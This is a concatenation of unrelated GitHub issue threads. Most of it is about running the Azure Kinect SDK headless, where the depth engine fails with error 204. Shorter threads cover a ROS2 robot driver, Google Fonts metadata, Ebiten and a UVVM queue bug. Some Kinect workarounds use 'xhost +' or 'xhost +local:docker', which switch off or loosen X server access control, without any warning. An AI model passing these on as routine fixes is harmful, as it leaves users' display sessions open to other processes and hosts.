It's difficult for me to say exactly what the problem is. But an interesting find was that I can sometimes control the robot once I tried to up the CPU count for both the URSim VM and the ROS2 driver VM. Could it be that either side is missing real time deadlines? Is this a symptom of not having a RT kernel?
Host machine: Windows 11
Non-linux URSim version: 3.15.8
ROS2 Driver VM: Ubuntu 20.04, ROS2 Galactic

Hi, thank you for your report. A couple of remarks:

Using a VM to run the driver is not recommended. Yes, there are quite strict timing requirements from the driver that I don't expect to get met very well by using  a 2-VM setup. However, I would expect this to at least work somehow, with regular shutdowns.
In your output, I don't see Robot connected to reverse interface. Ready to receive control commands. I assume you start the driver without headless_mode:=true and never pressed "play" on the teach pendant?
If you have a bad connection / timing issues (given that you actually started the driver / program on the robot) you should see Connection to reverse interface dropped. printed on the shell output. That means that the connection got cut due to missing packages. In this case, you should maybe try improving your timing capabilities by going as native as possible.
This issue seems to be arising from the ROS 2 driver, so you should open an issue in the ROS 2 driver's repo. Please do so the next time.
ROS 2 Galactic is no longer supported, as it is EOL (This should be unrelated to your problem, though).

Given the last two points I'll go ahead and close this hoping that I could get enough hints to get this sorted out, Otherwise, feel free to open an issue in the ROS 2 driver (using a supported ROS version, favorably using a native Linux as a driver's host)


[Remote] depth_engine_start_helper reports error 204 ... GPU API failure ... at start of streaming

I have a 2 synchronized Azure Kinects and a fully working test setup. When I attempt to integrate  the Kinects (on the same hardware system where my test works) within a larger real-time application, the cameras consistently fail at the moment when k4a_device_start_cameras() is called. I get an error message on stdout as below:
[2019-10-01 11:49:11.734] [error] [t=4190] /home/vsts/work/1/s/extern/Azure-Kinect-Sensor-SDK/src/dewrapper/dewrapper.c (154): depth_engine_start_helper(). Depth engine create and initialize failed with error code: 204.
The wrapper layer that handles all calls to/from the k4a library routines is the same as the one I use in my test program .... and the test program works perfectly. It seems to me that this issue must be resource-related or possibly a bug.
My host system is an Intel Core-i7 with 16 Gbyte RAM running Ubuntu 18.04LTS
The SDK is version 1.2
Kinect device firmware is as below:
== Azure Kinect DK Firmware Tool ==
Device Serial Number:<PHONE_NUMBER>12
Current Firmware Versions:
RGB camera firmware:      1.6.102
Depth camera firmware:    1.6.75
Depth config file:        6109.7
Audio firmware:           1.6.14
Build Config:             Production
Certificate Type:         Microsoft
Device Serial Number:<PHONE_NUMBER>12
Current Firmware Versions:
RGB camera firmware:      1.6.102
Depth camera firmware:    1.6.75
Depth config file:        6109.7
Audio firmware:           1.6.14
Build Config:             Production
Certificate Type:         Microsoft
I don't know if this is useful, but I tried running the program "deversion" from the SDK and it produced the following report:
~/Azure-Kinect-Sensor-SDK/src$  ../build/bin/deversion
[2019-10-01 12:59:13.968] [error] [t=5362] ../src/dynlib/dynlib_linux.c (86): dynlib_create(). Failed to load shared object libdepthengine.so.0.0 with error: libdepthengine.so.0.0: cannot open shared object file: No such file or directory
[2019-10-01 12:59:13.968] [error] [t=5362] ../src/dynlib/dynlib_linux.c (86): dynlib_create(). Failed to load shared object libdepthengine.so.1.0 with error: libdepthengine.so.1.0: cannot open shared object file: No such file or directory
Found Depth Engine Pluging Version: 2.0.0 (current)
Any suggestions for getting past this issue would be greatly appreciated.
   Steve B

It seems like you are missing libdepthengine.so.1.0, see https://github.com/microsoft/Azure-Kinect-Sensor-SDK/blob/develop/docs/depthengine.md.

In which environment are you starting the application?
Logged on session with a running X-Server or headless/ssh session?
If its the latter, you need to export the a DISPLAY variable before starting the application like this:

export DISPLAY:=1

My application doesn't have any screens. It's a robotic application that uses the depth and intensity cameras for guidance.  No screens, means no X server, hence no DISPLAY variable. I guess it may fit your categorty "headless" but it is not in any ssh session.

Does it work when you export a display variable with the aforementioned command?

I will have to do some reading to learn how to set an environment variable.  The process that owns the cameras is a systemd daemon, so I guess I will have to add some commands in its services file or such.  I'll try to figure it out and, if it works, I'll close this ticket.  If not, I'll let you know.
Thnx

This could help you I think:
https://github.com/microsoft/Azure-Kinect-Sensor-SDK/issues/562#issuecomment-536323723

Agree with @wes-b suggestion, which would make it easier for a user to understand what the user is. But I am not (yet) able to solve the problem.  I need to set an environment variable within my systemd daemon. I've read through #562 and several related threads. As I understand it, systemd runs its programs, by default, as root. Mine also needs to run as root so, until now, all has worked.
The requirement for an environment variable seems to require a user and a working directory.  Once you put in a user, it shouldn't be root according to some of the contributors on the threads I've read .... though apparently it can be root. The additional requirement, however, that we set the particular environment variable XDG_RUNTIME_DIR=/run/user/1000 <<where the "1000" has to be changed to match the real user id>> makes this a bit more challenging.  On my system, even though there of course is a "root" user, and even though the root user has the id of 0, there is no directory "/run/user/0" so I cannot do what is being suggested ... sigh.
Additionally, I don't know whether the DISPLAY=:0 or DISPLAY=:1 is required.  One person told me DISPLAY:=1 and I think that may have been a typo.  Another says to use DISPLAY=:0.  I've tried all of these but I don't think they are reason for my continued issue. Systemd doesn't seem to like me to set User=root and even when that goes through, I do not see any directory /run/user/0
Any further suggestions for this situation?

Would it either be possible to have a proper error message for Ubuntu systems where the necessary environment variables are not set or at least provide a hint in the documentation?
Maybe here: https://github.com/microsoft/Azure-Kinect-Sensor-SDK/blob/develop/docs/usage.md#linux-device-setup

We are not planning to fix the root cause as it is a limitation in OpenGL. We are also working to see what we can update documentation to recomend better ways to get past this more quickly.
We will use this issue to at a minimum make the error message clearer. Is there an API that can be called to query for the fact there is no display session?
@rabbitdaxi FYI

@StevenButner
Unfortunately I don't have a device myself to test it right now.
But tomorrow I may test to create a systemd service, like in the comment I linked, and report if it works.
I will be using an Intel NUC PC with:

Ubuntu 18.04
No monitor connected
Single azure kinect connected
Startup an application which uses the sensor SDK via systemd

And, what would be most useful (at least for me) would be if you could have the systemd program you write run as root.

I'm still struggling with this GPU API error 204 thing.  I've had to rearrange things a bit so that my application can run without being root (a good thing in the long term, no doubt).  And, I've followed very closely the sample given in #562.  I can launch my systemd service and it starts running.  It opens the depth cameras and checks their serial numbers, etc. as part of its initialization.  I can see a record of that in my log.  But the instant it starts either camera streaming, get the same 204 error code and message.
My systemd unit file is here.
`[Unit]
Description=Navigation Manager (navmgr)
After=network.target
[Service]
Environment=DISPLAY=:0
Environment=XDG_RUNTIME_DIR=/run/user/990
User=rp9
Group=rp9
Type=simple
ExecStart=/opt/bin/navmgr
Restart=on-failure
WorkingDirectory=/tmp
[Install]
WantedBy=multi-user.target
`
The user that I created is "rp9" and it has id 990.  I logged into it via ssh from another computer so that the /run/user/990 path got created.  Note that, I do not yet understand how to do this without an external login (i.e. under the hood via systemd).  Perhaps my problem is that the external login owns the DISPLAY :0  ??    I did also try DISPLAY=:1 however, with the same result.
Any suggestions of what to try next would be greatly appreciated.

We are not planning to fix the root cause as it is a limitation in OpenGL.

Hi @wes-b!
how important is the dependency on OpenGL? Why is it there in the first place? Do you rely on OpenGL to process depth or it's just for some non-core functionality (like visualization)?
Would it be possible to eliminate this dependency?

I am thinking auto starting as systemd service might not be possible because systemd services are ment to be run before a users login into a graphical session or am I wrong?
I am no Linux expert when it comes to this.

how important is the dependency on OpenGL? Why is it there in the first place? Do you rely on OpenGL to process depth or it's just for some non-core functionality (like visualization)?

@gkrasin OpenGL is essential to the process of converting the raw depth data into images, which we do on the GPU

@wes-b got it, it makes sense now. Thank you for your insightful reply!

This is a late comment, but it looks like EGL provides a way to get an OpenGL context in headless environments w/o Xorg running:
https://devblogs.nvidia.com/linking-opengl-server-side-rendering/
https://devblogs.nvidia.com/egl-eye-opengl-visualization-without-x-server/
https://stackoverflow.com/a/3331769/7553580
I am working in robotics and working on integrating the K4A into a headless rover system (Jetson Xavier / ROS). The workaround of allowing the window manager / X to run in the background and just setting the DISPLAY environmental variable is working for me, but ideally we would run completely headless. The articles linked make is seem like making the switch to EGL to grab OpenGL contexts is fairly straight forward, but since libdepthengine is closed source that is hard to know.

I agree with haljarrett and the many others who have posted in issues #796, #681, #562, #503 and more. We could really benefit from a truly headless system. Our robots shouldn't need to run a windows manager. All of these issues come back to OpenGL while trying to run some form of a headless system.

Hi!,
I have a tool that extracts color & depth images from a kinect recording that works fine in windows. I just stumbled with this issue, trying to port it to a docker container (Ubuntu18LTS) to run in a kubernetes cluster.
I tried just setting the DISPLAY=:0 or DISPLAY=:1 but no luck.
Is there a way to run k4a into a headless environment / headless docker container? If so, what would be the workaround?
Thanks!

Is there a way to run k4a into a headless environment / headless docker container? If so, what would be the workaround?

For Docker: https://github.com/microsoft/Azure-Kinect-Sensor-SDK/issues/1258#issuecomment-648943546

Thanks @wes-b for answering.
I can indeed run k4a in a docker container with gpu by mounting the X11 socket. However this solution is not feasible for a cloud/headless environment, as a display is needed to be running in the host.
I've done a deep research in the past few days to overcome the issue, that I post here for reference and to see if anyone can shed some light on it:
These are all the options I've explored for now with little to none success:

xvfb: OpenGL runs on CPU and its version is 3.3, not enough for k4a. It is also deprecated in favor of Xdummy.
Xdummy: OpenGL runs on CPU and its version is 3.1, not enough for k4a. Tried to add VirtualGL to use the GPU and latest OpenGL, SegFault.
Xdummy + nvidia driver: Not supported by nvidia containers
x11vnc, x11docker: Both need a display connected as well
Windows Containers with directX gpu support: Cannot install k4a or other dependencies as installer need GUI. Not sure if even installing everything, it would work without a graphical interface in windows, nor if libdepthengine uses OpenGL in windows as well.

Currently I have these other two options that may work:

Use aks-engine to install custom images with nvidia/cuda + Xorg on the Kubernetes working nodes.
Use Azure Batch instead of Kubernetes, using a Windows VM with graphical interface.

In the following days I'll try the azure batch approach, as it seems to be easier than using aks-engine.
However, I understand the issue could be easily solved if libdepthengine created a EGL headless context, as posted by others before. @wes-b , any idea of working in that direction?

@emepetres .... Your discussion of a docker-enabled GPU supporting the K4A needs is very interesting. Thanks for sharing that.  I want to investigate it and try to get it running on my own system.  I may have some questions for you in that regard which I will likely send via email.
The description of your various attempts to get the K4As to work in a headless environment are very familiar to me. I can report that, at this point, I have a working Ubuntu 18.04-based headless robotic system that uses 2 K4A cameras to sense depth in an autonomous navigation application. Many of the items that you list were also tried during development of my system .... with similar frustration and resulting failures.
I believe that the most important factor for getting a headless system up is figuring out how to boot up your system with a logged-in user. That's the area where I struggled .... because the investigation led to a number of complex issues bridging such topics as authentication (i.e. the PAM subsystem), session and 'seat' management, all manner of permission-related issues, and lots of systemd experimentation. In the end, I discovered that all I really needed was to install the "nodm" package.  This is a full-featured display manager for headless systems (I.e. for systems with no display!). It has the all-important feature that most other display managers have .... configurable autologin.  Nodm has a configuration file in /etc/default/nodm.  In that file, you can configure the autologin feature.  The comments in the /etc/default/nodm file are clear and helpful. There you can specify what userid to autologin and  how to fire up the X11 session, including the X11 server options.
With nodm installed and enabled, I can boot up my system without any terminal attached. Everything boots up and a single special userid is automatically logged in and attached to an X11 server. I created some systemd user-mode units to attach to the X11 server for the special userid that I have configured for autologin. These systemd user-mode units get launched by systemd once that userid is logged in ... and that happens due to nodm (at boot time). Coupled with this, I have some regular systemd units for other daemons used in my system.  These daemons are in the same group and I use group permission settings to maintain appropriate access and protection of other sensor subsystems in my application.
Note that I can log into my system over a wireless ssh session at any time.  I routinely do my development over such an arrangement. If I give the command "loginctl list-sessions", I can see my own login session and one other one .... the userid that got autologged in.  It always shows up with seat0 and has TTY "???".
I believe that the session setup --- in particular, the environment in /run/user/ ---- is the missing link that is needed for running any application that needs to stream the K4A depth camera. Once I managed to have a logged-in userid in place, together with its runtime environment, then all of the K4A library functionality worked for me. It all gets hooked up in the systemd unit that launches the application. This unit has to define at least the items shown below:
`[Service]
Environment=DISPLAY=:10   <<<--- this is what I use, but it can be different
Environment=XDG_RUNTIME_DIR=/run/user/       <<<--- numeric userid of your autologged in user goes here
Environment=MESA_LOADER_DRIVER_OVERRIDE=iris     <<<--- this is needed on my system which has Intel GPU
User=                  <<<--- put name of your autologged in userid here
Group=               <<<--- put your own defined group number here
Type=simple
Restart=on-failure
WorkingDirectory=/tmp   <<<<-- you can change this as needed
ExecStart=        <<<--- path to your executable daemon code here
`
I hope this helps.  It works well for me.

Thank you @StevenButner for sharing that, the nodm setup is very interesting.
However if I understand correctly it is still not possible to use it in a nvidia/cuda docker container (nowadays) in a truly headless host, because nodm still needs an X server running in the background. Currently nvidia/cuda containers does not work with an X server running inside because the nvidia driver is not installed in the container (the host driver is used instead).
FYI looking at nodm I found that the author has deprecated it in favor of a lightdm autologin plugin

Thanks for the response, @emepetres.  I was aware that nodm was deprecated and, in fact, lightdm would almost certainly work in its place.  I like the simplicity and smaller size of  nodm.  As for the docker container not supporting an X11 server inside, that may not be a show-stopper, since you have already demonstrated that the OpenGL environment is apparently available within a docker container. You have shown a run with the k4aviewer application, which supports depth streaming.
I haven't tried this, but I think it is likely that the nodm auto-login could be configured to work without the X11 server launch (in a manner more like a tty).  We really don't need the full set of features that X11 supports anyway.  Apparently, the nvida/cuda docker technology has enough built-in capability that the K4A functions can run. In this area, all of the details count (and I don't know enough of them at this time to make any speculations).
Can you describe more about how the docker container offers OpenGL without launching an X11 server?  And, for those of us who do not have nvidia GPU hardware but still have a headless system and a desire to run it all in a docker container, do you know whether the nvidia/cuda docker setup can be used with other GPUs.  The systems I work with have the integrated Intel graphics controllers, e.g. Intel HD Graphics 530.

Some GPU Cards need to connect a display monitor to enable OpenGL. You cannot use any OpenGL program if the GPU card is not outputting display signal. This is a common issue in the headless computer system.
To solve this problem, You can purchase a dummy display plug to simulate a display monitor connection. No additional software needs to be installed.
You can buy something like this: dummy display plug

We got it working with this workaround:

Enable automatic login for the user you are going to use.
After connecting via ssh set the Display env variable with: export DISPLAY=:0
Start the software as usual

@RoseFlunder thanks for this work around. One of our team also suggested using command line to enable automatic login. You can find instructions herehttps://vitux.com/how-to-enable-disable-automatic-login-in-ubuntu-18-04-lts/

I am facing the same issue when trying to run the sensor on a robot.
I don't get why the OpenGL dependency would require a display manager. Headless OpenGL configurations have been demonstrated a couple of times before, e.g.: https://developer.nvidia.com/blog/egl-eye-opengl-visualization-without-x-server/.
Isn't there any way to support headless OpenGL modes via EGL?

I am facing the same issue when trying to run the sensor on a robot.
I don't get why the OpenGL dependency would require a display manager. Headless OpenGL configurations have been demonstrated a couple of times before, e.g.: https://developer.nvidia.com/blog/egl-eye-opengl-visualization-without-x-server/.
Isn't there any way to support headless OpenGL modes via EGL?

+1, would be very grateful to be able to run the Azure Kinect without X11 running. Vulkan has stable & well supported provisions for X11-less GPU usage, if that's an option.

Hi, just checking in on this! Is there a plan/possibility to allow headless processing via OpenGL EGL as @christian-rauch suggests, or via Vulkan?

@lukexi we are actively working on an EGL version of the depth engine. This will be available in the next release of the Sensor SDK.

Fantastic news! Thanks @qm13 !!

hello,
I encounter the same error with Jetson Nano in headless mode and 4 kinects
What I Have tried and what did not work:

Setting export DISPLAY 1 or 0
Updating SDK packages to 1.4.1 from https://packages.microsoft.com/ubuntu/18.04/prod/pool/main/libk/libk4a1.4-dev/
Buying one of the dummy display plugs also did not resolve the issue.

Any help would be really appreciated!
[LOG]: Number of connected devices  3
[2021-05-17 16:17:57.828] [error] [t=7603] /__w/1/s/extern/Azure-Kinect-Sensor-SDK/src/dewrapper/dewrapper.c (154): depth_engine_start_helper(). Depth engine create and initialize failed with error code: 204.
[2021-05-17 16:17:57.829] [error] [t=7603] /__w/1/s/extern/Azure-Kinect-Sensor-SDK/src/dewrapper/dewrapper.c (160): deresult == K4A_DEPTH_ENGINE_RESULT_SUCCEEDED returned failure in depth_engine_start_helper()
[2021-05-17 16:17:57.829] [error] [t=7603] /__w/1/s/extern/Azure-Kinect-Sensor-SDK/src/dewrapper/dewrapper.c (194): depth_engine_start_helper(dewrapper, dewrapper->fps, dewrapper->depth_mode, &depth_engine_max_compute_time_ms, &depth_engine_output_buffer_size) returned failure in depth_engine_thread()
[2021-05-17 16:17:57.829] [error] [t=7599] /__w/1/s/extern/Azure-Kinect-Sensor-SDK/src/dewrapper/dewrapper.c (552): dewrapper_start(). Depth Engine thread failed to start
[2021-05-17 16:17:57.829] [error] [t=7599] /__w/1/s/extern/Azure-Kinect-Sensor-SDK/src/depth/depth.c (398): dewrapper_start(depth->dewrapper, config, depth->calibration_memory, depth->calibration_memory_size) returned failure in depth_start()
[2021-05-17 16:17:57.829] [error] [t=7599] /__w/1/s/extern/Azure-Kinect-Sensor-SDK/src/depth_mcu/depth_mcu.c (359): cmd_status == CMD_STATUS_PASS returned failure in depthmcu_depth_stop_streaming()
[2021-05-17 16:17:57.829] [error] [t=7599] /__w/1/s/extern/Azure-Kinect-Sensor-SDK/src/depth_mcu/depth_mcu.c (362): depthmcu_depth_stop_streaming(). ERROR: cmd_status=0x00000063
[2021-05-17 16:17:57.829] [error] [t=7599] /__w/1/s/extern/Azure-Kinect-Sensor-SDK/src/sdk/k4a.c (895): depth_start(device->depth, config) returned failure in k4a_device_start_cameras()
Start K4A cameras failed!
  File "capture_mult_streams.py", line 34, in <module>
    pyK4A.device_start_cameras(device_config)
  File "../pyKinectAzure/pyKinectAzure.py", line 151, in device_start_cameras
    _k4a.VERIFY(self.k4a.k4a_device_start_cameras(self.device_handle,self.config.current_config),"Start K4A cameras failed!")
  File "../pyKinectAzure/_k4a.py", line 570, in VERIFY
    traceback.print_stack()

Any help would be really appreciated!

I see that only 3 of the 4 cameras were detected. Is this maybe a bandwidth issue with the fourth camera?
To verify that this is not your code or the bandwidth limitations, could you start the azure kinect viewer with only a single camera connected?: DISPLAY=:1 k4aviewer
I am using a Kinect in a setup with a connected, but powered-off screen, and an Xserver starting on boot. I noticed that the Xserver will not start automatically if no screen had been detected. I've no dummy connector yet to try this.
I've set DISPLAY in the .bashrc so that when I log in via ssh and without X forwarding, then azure kinect viewer or the ROS driver will just start without issues. It's indeed important to not forward X (i.e. do not use -X) so that the viewer or driver connect to the local Xserver via the DISPLAY first. This way you will not be able to see any GUI, which is ok if you just run the driver. Otherwise you have to setup VNC.

Hello zapaishchykova,
From the logs it looks like OpenGL context is not available, which is why depth engine initialization fails. Did you enable autologin for the user account that you SSH with? The steps for headless operation are listed here: https://docs.microsoft.com/en-us/azure/Kinect-dk/troubleshooting#using-azure-kinect-on-headless-linux-system
Going through the specifications of Jetson Nano, it looks like all the 4 USB 3.0 Type A ports are mapped on to the same USB controller (which means all the ports share the same underlying controller and its bandwidth). Azure Kinect DK when streaming data in high resolution mode (Depth + Color) use most of the USB 3.0 bandwidth. If you are planning for concurrent operation of all cameras, then you'd have to lower the frame rate down to 5 FPS. I suspect the issue of missing 4th camera is due to HW resources on the controller (and not an SDK issue). You can use lsusb to list the USB devices, see if all 4 cameras enumerate properly and made available by the OS.

Dear @jaygullapalli and @christian-rauch,
Maybe my logs were a bit confusing but i have no problems with detecting all 4 cameras - just in this specific test run i connected 3 of them. I increased Jetson power supply and I am captuting non real time data - which means fps lower than 5.
My problem is that i cannot make to run even one kinect in a headless mode. And my auto ssh login is enabled

Huh interesting, when i start session with connected display and set export DISPLAY=:0 everything works even when i disconnect the screen .... I did those steps to set up the autologin https://vitux.com/how-to-enable-disable-automatic-login-in-ubuntu/, is there something that I'm missing?

For those who uses docker image for Azure Kinect, here's how I solved this '204' issue.

This might not be a proper solution for headless system, since I just used docker with a normal desktop configuration.

TL; DR
Add options below, on running docker image.
--volume /tmp/.X11-unix:/tmp/.X11-unix:ro # mount x11 server.
-e DISPLAY=unix$DISPLAY # set environment value for display.

Or, if you use docker-compose yaml file, add below at your service configuration.
# ...
  volumes:
     - /tmp/.X11-unix:/tmp/.X11-unix:ro
  environment:
    DISPLAY=unix$DISPLAY
# ...

Lastly, on your host computer, open terminal and type below:
$ xhost +local:docker

You might need to execute this bash script on every boot.
More details here.
My Situation
Device

A desktop, ubuntu 18.04, fully configured for azure-kinect.
Works perfect when I manually boot up, and open k4aviewer, so there's no issue with the sensor, and nvidia drivers.

Development Environment

My server is running on custom docker image, which is configured for NodeJS.
The server uses kinect sensor, managed by pm2.
Therefore I used this JS wrapper.
The server needs to be started on boot, so I need to run the docker image every time when the computer boots.

In short,

Trying to use Kinect SDK,
which is wrapped by a 3rd party JS wrapper,
which is used by NodeJS server,
which is managed by pm2,
which is running on docker.

So, I tried...
1. Run docker image configured by docker-compose, with systemd.

I searched on google, and found out that on linux, we use systemd to start a program on boot.
I've done that, but '204' error happened, sensor not working.
Figured out that I cannot use SDK without OpenGL.
OpenGL could be used only if you are on GUI.
Not sure, but afaik the systemd is not running on GUI.
???
No profit. 😢

2. Run docker image by Startup Application.

I ditched systemd, finding another way to run docker image on boot.
Found out that I can add startup script shortcut on Startup Application, which is available on GUI or at ~/.config/autostart. (See here.)
Added shortcut to the script that runs docker-compose.
Again, '204' error happened.

3. What if I open Gnome Terminal, and run scripts on there? (With xhost configuration)

Same as I did on #2, I ran a script by adding a shortcut on ~/.config.autostart.
But I didn't run the script on bash right away; I opened gnome terminal - gnome-terminal -- bash -c "<my command or script>; exec bash" - and ran it on there. (See here.)
I am not sure is there a difference, but tried.
Also, figured out that if I want to use GUI on docker, I should add this: xhost +local:docker.
And finally, now it WORKS every time I boot up the computer!

Conclusion

Guess that xhost +local:docker was the key to my setup.
By using docker image, I finally can assure that the sensor opens every time I boot.

@lukexi we are actively working on an EGL version of the depth engine. This will be available in the next release of the Sensor SDK.

Has there been any update on an EGL version?
Are we still currently on a 2020 release?

Same question as above; any progress on this front?

@rajkundu  As you can see from the git history, the last commit was on the 20th Oct 2021. That means there has been no public progress on this since October last year. I also don't see a public roadmap either.
The headless EGL feature seems to be of low priority on Microsoft's backlog. You have to chaise @qm13 to get some official statement or rely on the community to implement headless EGL.

or rely on the community to implement headless EGL

This part is closed source. (If I'm wrong, point me in the right direction, and I'll work on it, I can find the time as the X11 reliance means I can't get solid colour&depth from a nano, and stuck with windows/bigger devices)

or rely on the community to implement headless EGL

This part is closed source. (If I'm wrong, point me in the right direction, and I'll work on it, I can find the time as the X11 reliance means I can't get solid colour&depth from a nano, and stuck with windows/bigger devices)

This is also my understanding: that the depth engine contains "proprietary code" and thus the community cannot contribute to or fix it.

@qm13 Do you have any rough idea, at all, of when the next release might be? Any information you could provide would be greatly appreciated!

Unlike a few others in this thread, in my case, I didn't need to use the Azure devices live with a headless host. Rather, my group was trying to remotely analyze footage that was already recorded into .mkv files. We got so many errors because of OpenGL requiring proper display variables, etc., including this 204 error. In the end, we did get the SDK working with X forwarding over SSH. However, an even simpler solution we found was to start a Jupyter Lab instance locally, then port forward/expose the port so that we could use it remotely via HTTP, yet all of the processing is done locally. I'm happy to help however I can, so if anyone's use case is similar to mine, please feel free to reach out!

Without the SDK's Depth Engine, while I can easily extract the raw 2D images from the MKV files (and have done so already), they are of little use to me. My understanding is that the proprietary Depth Engine is required to convert/reconstruct this data into 3D. Is this not correct?

My understanding is that the proprietary Depth Engine is required to convert/reconstruct this data into 3D. Is this not correct?

Not exactly. The mkv file stores multiple streams:
$ mediainfo OFFICE_SAMPLE_NFOV_UNBINNED.mkv | grep Title
Title                                    : COLOR
Title                                    : DEPTH
Title                                    : IR
Title                                    : IMU

You already get the depth stream. To get the point cloud, you only have to project the depth using the camera intrinsics. You can do this headless with OpenCV or just implement that yourself.
You could simplify this a bit by using the ROS (1 or 2) node and recording the point cloud directly to a ROS bag file. Recording will require the depth engine too, but once you have the ROS bag you can essentially treat it like any other log file and read the point clouds from it via any of the supported languages (Python, C++, ...).

@christian-rauch So, I'm just wondering... with pre-recorded footage, is there a reason the SDK requires OpenGL/X/Depth Engine for retrieving 3D data, but not for accessing 2D data? Is it just a byproduct of the way that it is coded? I.e., in theory, could it also have been made in such a way that it does all of these 3D operations without requiring such dependencies?

There are different uses of OpenGL in the SDK.
Depth Engine + OpenGL for computation:
The Depth Engine converts the raw sensor data from the camera to depth. I guess that it uses OpenGL shaders for this and the OpenGL context is created via GLX, which requires an X11 connection. With EGL in place of GLX, the Depth Engine could run on headless systems without an X11 connection. OpenGL is here only used for computation, not for visualisation/graphics. Once you recorded the depth, there is no use for the Depth Engine anymore.
OpenGL for visualisation:
If you want to visualise the 3D data in the Azure Kinect Viewer you will need OpenGL again for visualising the 3D points. You do not need the Depth Engine for that, but you will still need OpenGL with a connection to a display server (X11, Wayland). Once you moved the log files to a workstation, you can use the Azure Kinect Viewer there to look at the point clouds.
Instead of using the Azure Kinect Viewer, you can of course just compute the projection from depth to 3D yourself, using the camera intrinsic stored in the mkv file. Then you can export point clouds in any format, read them with e.g. numpy and just "render" the point via software. One suggestion to do this is using the ROS node and logging the point clouds into a bag file directly.

$ export DISPLAY=:0
$ xhost +

Above cmd lines works for me to open k4a camera in ssh sessison.

@lukexi we are actively working on an EGL version of the depth engine. This will be available in the next release of the Sensor SDK.

Hi @qm13, is there any news on the EGL version of the depth engine to allow the Azure Kinect to be used without X11 since April 2021? Much appreciated!

Without the SDK's Depth Engine, while I can easily extract the raw 2D images from the MKV files (and have done so already), they are of little use to me. My understanding is that the proprietary Depth Engine is required to convert/reconstruct this data into 3D. Is this not correct?

Just wanted to make an update in case anyone else finds themselves in the same situation. The most convenient way that we found to compute the 3D point cloud from the 2D depth image (or transformed depth image) without using the SDK was to simply use the fastpointcloud example. This page has some more information on converting 2D depth images to 3D point clouds and is how we found the fastpointcloud example.
In Python, using pyk4a, our code looks like:
def compute_xy_table(calibration: pyk4a.Calibration, shape: tuple, calibration_type: pyk4a.CalibrationType):
    # Compute XY table
    height, width = shape
    xy_table_data = np.zeros((*shape, 2), dtype=np.float32)
    for v in range(height):
        for u in range(width):
            try:
                x, y, _ = pyk4a.Calibration.convert_2d_to_3d(calibration, (u,v), 1.0, calibration_type, calibration_type)
            except ValueError:
                x, y = np.nan, np.nan # can also be 0
            xy_table_data[v,u] = x,y
    return xy_table_data

xy_table_depth = compute_xy_table(calib, depth_img.shape, pyk4a.CalibrationType.DEPTH)
xy_table_color = compute_xy_table(calib, transformed_depth_img.shape, pyk4a.CalibrationType.COLOR)

def compute_point_cloud(depth_image, xy_table):
    return depth_image[:, :, np.newaxis] * np.dstack((xy_table, np.where(np.logical_or(np.isnan(xy_table[:,:,0]), np.isnan(xy_table[:,:,1])), np.nan, 1.0)))

depth_pc = compute_point_cloud(depth_img, xy_table_depth)
color_pc = compute_point_cloud(transformed_depth_img, xy_table_color)

When we compare this computed point cloud to the SDK's, we get a maximum error of 0.500 mm, which makes sense because the SDK rounds to uint16 whereas we use float32 in this case.
As explained by the Azure Kinect SDK documentation, the XY table remains constant for each camera calibration (so, if you never re-calibrate your camera after the factory, then it is forever constant). So, you only have to compute it once, and then, you can load it from disk to compute point clouds on-the-fly. You can even GPU-accelerate the process, e.g. using cupy, to make it extremely fast. We found that with GPU acceleration, we were able to both load frame data/XY table from disk and compute the point cloud (~10 ms on our system) faster than we were able to directly read the 3D point cloud from disk (e.g., saved as PCD file, NPZ archive; ~30 ms on our system). Therefore, computing the point cloud on the GPU using the XY table is both more space-efficient and time-efficient than directly storing 3D point clouds on disk.


[GoogleFonts] New METADATA checks on minisite_url keys

I noticed a couple of problems with ofl/climatecrisis/METADATA.pb just now, that I fixed in https://github.com/google/fonts/pull/7268

https://github.com/google/fonts/blob/9be2d53f1637defccb19f200a7a0198f1fb96d11/ofl/climatecrisis/METADATA.pb#L31 is a duplicate with https://github.com/google/fonts/blob/9be2d53f1637defccb19f200a7a0198f1fb96d11/ofl/climatecrisis/METADATA.pb#L34  and that is not fatal (due to the way protobufs work) but still should not be possible to land on the main branch
L31 had a trailing /index.html (and index.* is fairly common and the same issue)
A trailing / is also the same issue

I can also think of a few other common issues, with the start of the URL string rather than the end:

The URL protocol is http:// but should be https:// unless that doesn't work at all but insecure http does work, and in this case we should use it even though it is sad to see (because insecure protocol are bad for everyone.)

The URL includes a subdomain www. that is not needed, the site works fine without it, so drop it.

I've removed the "Five minute fix" label, because this is not really a 5-minute fix.
I've added the "Work on next" label because I'm going to work on this next (after finishing the work on reviewing the big-refactor in PR #4507)

For the duplicated minisite_url entries, I think we'll have to read the raw text content of the METADATA.pb file, instead of parsing it with the protobuf library because, otherwise, I think the lib would automatically de-duplicate it.


Update to serde 0.9.0 and various improvements

bors r+

bors r+

How can this be merged, but no closed? Cc @notriddle

That's a bug in GitHub. bors-ng/bors-ng#64


Proposal: add GetLocalizedKeyName function

Suppose that I want to make the game display the message "Press "W" to walk forward".
However if the person playing the game has the French layout, I'd like to show "Press "Z" to walk forward" instead (because in AZERTY "Z" is in the same position as "W" on QWERTY)
glfw has glfwGetKeyName function to obtain the name of the key, it looks like we can use it for obtaining this mapping for some platforms.
The interface can be as follows for Ebiten:
func GetLocalizedKeyName(key Key) string { ... }

And finally, the end users will be able to do this:
DisplayMessage(fmt.Sprintf("Press %q to walk forward", ebiten.GetLocalizedKeyName(ebiten.KeyW)))

@wasedaigo might want this?

https://github.com/go-gl/glfw/blob/a6c407ee30a0/v3.3/glfw/input.go#L444
This would work. Unfortunately I need to (re)implement this for Windows (internal/glfwwin)

Unfortunately there seems no easy porable way to implement this. Let me change the milestone.

Hm, how can I implement this for browsers?

I've implemented KeyName for desktops and browsers.
For mobiles, I'll create a separate issue.
For consoles, I don't implement this.


pairs: display time in seconds instead of ms in tweet

I don't think the milliseconds resolution is really needed when we tweet
about our success.

This was meant to be a kind of techy joke.


Command drop top of stack

As per the title. Accumulates previous PRs (again)

Please disregard, accumulated with next PR.


Bug: Generic GC_CMD_QUEUE_COUNT_MAX in AXI VVC does not update sizes of command queues

Run the following minimal example simulation after having compiled UVVM and VVCs from the latest release: https://gist.github.com/am9417/9a24f9b84b32fa780ee4387f95342aba#file-axi_vvc_tb-vhd
The simulation configures an AXI VVC instance where the command queue (and the result queue) has a size of 1000 elements and a warning threshold at 950 elements. Then, 1000 write commands are added into the command queue simultaneously by issuing an axi_write commands, and the simulation finishes after a nanosecond. I would assume that the simulation would pass with only a warning raised after there are 950 elements in the queue.
However, the following TB_ERROR is raised, and the test won't pass:

'add() into generic queue (of size 150) when full'

which does not make sense as the queues should have the capacity for a thousand elements.
